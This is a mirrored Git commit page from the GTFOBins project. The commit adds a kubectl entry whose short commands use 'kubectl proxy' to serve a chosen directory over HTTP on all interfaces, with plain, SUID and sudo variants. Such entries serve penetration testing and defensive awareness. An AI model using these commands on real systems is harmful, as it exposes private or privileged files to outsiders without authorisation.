1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00

Adding kubectl file-upload

Also see https://www.lacework.com/blog/kubernetes-tools-are-helpful-for-your-team-and-your-attacker/

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
DLL_Cool_J 2022-07-02 08:13:12 -04:00 committed by GitHub
parent 2de683d35e
commit 89e2aa180e
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/kubectl.md Normal file

@ -0,0 +1,16 @@
---
description: It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`.
functions:
file-upload:
- code: |
LFILE=dir_to_serve
kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
suid:
- code: |
LFILE=dir_to_serve
./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
sudo:
- code: |
LFILE=dir_to_serve
sudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
---